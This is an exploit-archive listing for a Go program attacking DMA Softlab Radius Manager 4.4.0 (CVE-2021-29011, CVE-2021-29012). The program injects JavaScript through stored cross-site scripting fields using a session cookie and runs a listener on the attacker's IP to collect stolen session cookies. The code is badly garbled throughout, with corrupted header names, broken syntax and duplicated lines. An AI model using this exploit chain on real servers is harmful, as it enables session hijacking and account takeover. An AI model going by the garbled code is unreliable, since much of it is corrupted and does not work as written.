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DMA Softlab Radius Manager 4.4.0 Session Management / Cross Site Scripting

Authored by bnu1s

DMA Softlab Radius Manager version 4.4.0 chained exploit written in go that exploits session management and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss

adysories | CVE-2021-29011, CVE-2021-29012
SHA-256 | cd1280c0a733c7ae32690915156fcd9e503592c3a27e1b316f1186f9264593bd | Download | Favorite | View

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```
return false, newURL
else {
fmt.Printf("[+] %s can access %s!\n", session, dmasoftURI)
/fmt.Println(atring(body))
return true, newURL
           response.Body.Close()
return false, newURL
 "id": (""),

request, := http.NewRequest("POST", targetURL, strings.NewReader(formData.Encode()))

request.Header.Add("Accept",

"text/html.application/stntl*xml.application/xml;q=0.9, image/webp, ",";q=0.8")

request.Header.Add("Accept=Language", "en-US;gen;q=0.5")

request.Header.Add("Cache-Control", "non-cache")

request.Header.Add("Cache-Control", "non-cache")

request.Header.Add("Content-Type", "application/x=www-form-urlencoded")

request.Header.Add("Content-Type", "application/x=www-form-urlencoded")

request.Header.Add("Non-", "PHPSESSID" + session)

request.Header.Add("Non-", "SHPSESSID" + session)

request.Header.Add("Non-", "shpreads("), "shpreads("), "request.Header.Add("Non-", "shpreads("), "sh
 }
body, _:= ioutil.ReadAll(reaponse.Body)
if strings.Contains(string(body), "New AP registered") {
    fmt.Printf("{1}) avascript successfully injected into 1st\n", targetURL)
    // this privilege check one is redundant since we already do the check in checkAccess() prior to this
to ensure we have sufficient privileges
} else if strings.Contains(string(body), "You don't have sufficient privilege to access this function")
                                   fmt.Printf("[1] %s doesn't have permission to edit data in the access point section!\n", session) } else if strings.Contains(string(body), "Secure login") {
fmt.Printf("[1] %s's session is invailated. Please login again to re-validate the session!\n",
session)

[action of the principle of th
                                }
body, _:= ioutil.ReadAll(response.Body)
if strings.Contains(string(body), "Manager registered") {
fmt.Printf("[+] Javascript successfully injected into %s!\n", targetURL)
} else if strings.Contains(string(body), "You don't have sufficient privilege to access this function")
                                     fmt.Printf("[!] %s doesn't have permission to edit data in the access point section!\n", session)
else if strings.Contains(string(body), "Secure login") {
fmt.Printf("[!] %s's session is invalidated. Please login again to re-validate the session!\n",
 session)
                                   } } else {
   fmt.Println("[!] Problem encountered when injecting Javascript into %s!\n", targetURL)
   fmt.Println(string(body))
                                        response.Body.Close()
                        | request, i= http.NewRequest("POSI", targetURL, strings.NewReader(formData.Encode()))
request.Header.Add("Accept",
mil.application/xhml*xanl.application/xml;q=0.9,image(webp,*/*;q=0.8")
request.Header.Add("Accept-Encoding", "gsip, deflate")
request.Header.Add("Accept-Encoding", "gsip, deflate")
request.Header.Add("Cache-Control", "no-cache")
request.Header.Add("Cache-Control", "no-cache")
request.Header.Add("Content-Dength", "175")
request.Header.Add("Content-Dength", "175")
request.Header.Add("Content-Dength", "175")
request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
```

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```
request.Header.Add("Host", dmasoftURL)
request.Header.Add ("Forigin", dmasoftURL)
request.Header.Add("Forigin", "mo-cache")
request.Header.Add("Forigin", "mo-cache")
request.Header.Add("Forigined-Insecure-Requests", "l")
request.Header.Add("Upgrade-Insecure-Requests", "l")
request.Header.Add("Upgrade-Insecure-Requests", "l")
                                                   //8.0")
response, err := client.Do(request)
if err != nil {
   fmt.Println(err)
                                                   }
bdy, _ := ioutil.ReadAll(response.Body)
if strings.Contains(string(body), "System error") {
fmt.Printf("[]] Problem encountered when injecting Javascript into %s!\n", targetURL)
                                                     } else {
fmt.Printf("[+] Javascript successfully injected into %s!\n", targetURL)
                                                   }
response.Body.Close()
else if uri == "admin.php?cont=store_usergroup" {
formBate := "url.Values {
    "name": ("CustomAttributeNull"),
    "descr': (js),
    "submil": ("Create+group"),
"Submit": ("Create+group"),

| request_: = http.NewRequest("FOSST", targetURL, strings.NewReader(formData.Encode()))
request_Reader.Add ("Accept.",

"text/html,application/shtml*xml.application/xml;q=0.9, image/webp,*/*;q=0.8")
request.Reader.Add ("Accept-Language", "em-US;en;q=0.5")
request.Reader.Add ("Accept-Language", "em-US;en;q=0.5")
request.Reader.Add ("Connettion," "Xeep-alive")
request.Reader.Add ("Connettion," "Xeep-alive")
request.Reader.Add ("Connettion," "Xeep-alive")
request.Reader.Add ("Connettion," "Repression" + session)
request.Reader.Add ("Connettion," "Repression" + session)
request.Reader.Add ("Onort," financetURL)
request.Reader.Add ("Onort," financetURL)
request.Reader.Add ("Origin," damasoftURL)
request.Reader.Add ("Origin
                                                 }
bdy, _:= ioutil.ReadAll(response.Body)
if strings.Contains(string(body), "User group registered") {
fmt.Print("(+) Javascript successfully injected into %s!\n", targetURL)
} else if strings.Contains(string(body), "You don't have sufficient privilege to access this function")
                                                   fmt.Printf("[1] %s doesn't have permission to edit data in the access point section!\n", session) } else if atrings.Contains(string(body), "Secure login") {
fmt.Printf("[1] %s's assion is invalidated. Please login again to re-validate the session!\n",
        session)
                                                       } else {
    fmt.Println("[:] Problem encountered when injecting Javascript into %s!\n", targetURL)
    fmt.Println(string(body))
                                                       response.Body.Close()
      func main() {

// injecting javascript
var seasion, attackerIP string
flag.StringVar(seasion, "", "", "Your current seasion cookie - used to inject Javascript into vulnerable
areas")
flag.StringVar(sdmasoftURL, "u", "", "Dmasoftlabs URL - Your target")
flag.StringVar(sdmtackerIP, "ip", "", "Tour local IP address - required to build URL where you will receive
seasion cookies [EX:127.168.1.10)")
flag.Parse()
flag.Parse(
                ]
injectJavascript(session, dmasoftURL, attackerIP)
router: = mux.NewSouter()
router.HandlePunc("/session/post/[sessionID]", getUserDetails)
fmt.Println("[+] Starting web server and listening for session cookies...")
log.Fatal(brtp.listenAndServe("SBOO", "router))
```

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